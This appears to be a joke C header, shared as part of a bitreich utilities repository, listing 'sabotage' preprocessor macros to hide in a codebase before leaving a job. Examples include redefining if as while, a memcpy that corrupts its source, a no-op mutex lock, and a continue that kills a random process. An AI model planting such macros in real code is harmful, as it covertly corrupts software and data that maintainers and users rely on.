preprocessor_fun.h - various - Various utilities developed at bitreich.
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preprocessor_fun.h (1576B)
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1 // Just before switching jobs:
2 // Add one of these.
3 // Preferably into the same commit where you do a large merge.
4 //
5 // Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
6 // @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
7 // @KarlHillesland, @rexguo, @tom_forsyth, @bkaradzic, @MikeNicolella
8 // and myself.
9
10
11 // Easy keyword replacement. Too easy to detect I think!
12 #define struct union
13 #define if while
14 #define else
15 #define break
16 #define if(x)
17 #define volatile // this one is cool
18
19 // I heard you like math
20 #define M_PI 3.2f
21 #undef FLT_MIN #define FLT_MIN (-FLT_MAX)
22 #define floor ceil
23 #define isnan(x) false
24
25 // Randomness based; "works" most of the time.
26 #define true ((__LINE__&15)!=15)
27 #define true ((rand()&15)!=15)
28 #define if(x) if ((x) && (rand() < RAND_MAX * 0.99))
29
30 // String/memory handling, probably can live undetected quite long!
31 #define strcpy(a,b) memmove(a,b,strlen(b)+2)
32 #define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
33 #define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
34 #define sizeof(x) (sizeof(x)-1)
35
36 // Let's have some fun with threads & atomics.
37 #define pthread_mutex_lock(m) 0
38 #define InterlockedAdd(x,y) (*x+=y)
39
40 // What's wrong with you people?!
41 #define __dcbt __dcbz // for PowerPC platforms
42 #define __dcbt __dcbf // for PowerPC platforms
43 #define __builtin_expect(a,b) b // for gcc
44 #define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break